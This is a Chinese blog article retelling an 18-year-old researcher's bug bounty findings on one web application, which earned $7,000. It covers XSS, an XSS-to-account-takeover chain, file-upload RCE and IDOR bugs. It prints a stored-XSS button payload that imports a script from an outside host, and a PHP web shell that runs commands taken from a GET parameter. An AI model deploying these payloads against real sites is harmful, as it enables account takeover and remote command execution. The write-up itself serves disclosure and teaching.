背景介绍
今天来分享国外一位18岁白帽Amir Abbas的故事,让我们来看看他是如何在一个Web网站中最终获得7000美元赏金奖励的吧。
目标选择
话说某一天,白帽小哥经朋友介绍拿到一个 HackerOne 上的新目标,该目标的范围包括 *.domain.tld
,于是小哥首先进行子域爆破,然而,其中一些子域却超出了赏金范围,并且在这些子域中没有发现任何有趣的东西。当白帽小哥一筹莫展时,他决定先把信息收集的事情放一放,尝试深入研究Web应用程序中的不同的功能和特性。
漏洞发现
反射型XSS
小哥首先使用GAP插件对某个特定域进行参数提取,然后使用X8进行参数发现,最终发现一个使用了addon
参数的反射型XSS:
【漏洞评级:中危,奖励$500】
存储型XSS
目标的网站中,用户可以提供出售或免费的插件,并且拥有一个可以让用户评价插件的评论功能,而在评论功能中,小哥发现了一处存储型XSS漏洞:
form><button formaction="javascript:import('//ayrix.info/exploit/?email=attacker@gmail.com')">Click Me</button></form>
为了提高漏洞影响,小哥尝试将这个 XSS 升级为帐户接管,在忘记密码功能时他编写了一个JS利用代码来尝试修改受害者的电子邮件,但由于忘记密码功能仅在 SSO 域内可用,因此,白帽小哥可以更改受害者的电子邮件地址,但却无法重置密码。于是小哥尝试模糊测试,终于在XSS域上发现了一个名为legacy-login
的隐藏路径,隐藏路经中同样有一个“忘记密码”功能,小哥再次尝试忘记密码,但依然没有收到电子邮件。
于是小哥开始检查Burp Suite中的请求信息,他发现电子邮件的开头和结尾部分有两个空格,他尝试删除空格然后重新提交请求:
成功收到电子邮件!万事具备,那就可以根据以上条件进行利用了:
- 向包含电子邮件更改功能的页面发送 GET 请求并存储 CSRF Token
- 向发现的端点发送 POST 请求,使用 CSRF Token 来更改受害者的电子邮件
- 当受害者访问包含 Stored XSS 的页面时,PoC将触发,并将他们的电子邮件更改为白帽小哥的电子邮件,然后白帽小哥就可以请求重置自己的电子邮件密码并接管受害者的帐户
【漏洞评级:高危,漏洞奖励:$1500】
存储XSS导致账户劫持(2)
白帽小哥在网站上创建了一个插件,并在其中一个描述页面上成功执行了上述的PoC代码。
【漏洞评级:高危,漏洞奖励:$1500】
评级导致的业务逻辑漏洞
目标网站还有一个插件星级评级功能,从 1 颗星 到 5 颗星,当用户给评价为 5 颗星时,请求将发送 ratings=5
,但是如果将评级更改为 1000 的话,就会使被评价的插件出现在最顶部。
【漏洞重复,无奖励】
文件上传导致的RCE漏洞
目标网站还允许用户上传文件,但是无论白帽小哥如何尝试,上传恶意文件都均告失败。然后过了几天后,白帽小哥发现某个地方可以上传不同扩展名的文件,他相信这个旧版本的文件上传功能肯定存在会存在漏洞。
经过测试,白帽小哥发现上传处仅对content-type
做了限制,因此小哥在Burp Suite中进行拦截,然后尝试上传PHP文件,并将content-type
更改为image/png
:
<?php
$output = shell_exec($_GET["secert-cmd"]);
echo "<pre>$output</pre>";
?>
然后访问上传后的文件路径,就可以利用 secret-cmd
参数执行任何命令了,并且输出结果会直接显示在页面中。
【漏洞评级:高危,$1500】
访问私人插件的IDOR
网站中的每个插件都可以有多个附加文件,例如安装步骤、安装文件或其它文件等,每个文件都有一个数字ID,下载链接类似: https://www.domain.tld/download/45294
白帽小哥尝试创建自己的插件,当创建附加文件时,private
选项引起了小哥的注意,于是他在上传时将这些附加文件设置为了‘私有’,然后,尝试使用另一个帐户下载这些文件,发现居然可以越权下载。由于 ID 是一串数字,于是可以将其从 1 到 10000 进行遍历,便可以获得对所有公共和“私有”文件的访问权限。
【漏洞评级:中危,漏洞奖励:$500】
提取销售数据功能中的IDOR
该功能属于付费功能,白帽小哥要求该项目的安全团队能够给一个测试账户,很快他们发布了一个子域,测试者可以在该范围内测试一些高级功能。
成功添加子域后,白帽小哥快速创建了一个附加组件并进入了销售统计页面,他注意到向/rest/paymentinfos
发送的POST请求是使用附加组件ID发送的,因为每个附加组件的ID都是公开的,因此只要将组件ID进行修改,就可以接收他们的完整销售信息。
【漏洞评级,中危,漏洞奖励:$500】
附加设置面板中的IDOR
在打开管理页面后,小哥注意到底部有一个小按钮,当点击它时,会打开一个新的附加设置面板,这在之前的测试中从未见过的,经过测试,发现该功能同样会受到 IDOR 的攻击,并且可以更改其他插件的管理信息。
【漏洞评级,中危,漏洞奖励:$500】
另一处反射型XSS
检查了搜索页面上的所有过滤器和参数后,小哥发现这些参数基本都是安全的,于是小哥继续使用x8工具对参数进行模糊测试,最终发现一个名为 resource
的参数存在反射型XSS漏洞。
【漏洞评级,中危,漏洞奖励:$500】
原文:https://blog.voorivex.team/7000-bounty-on-a-single-web-application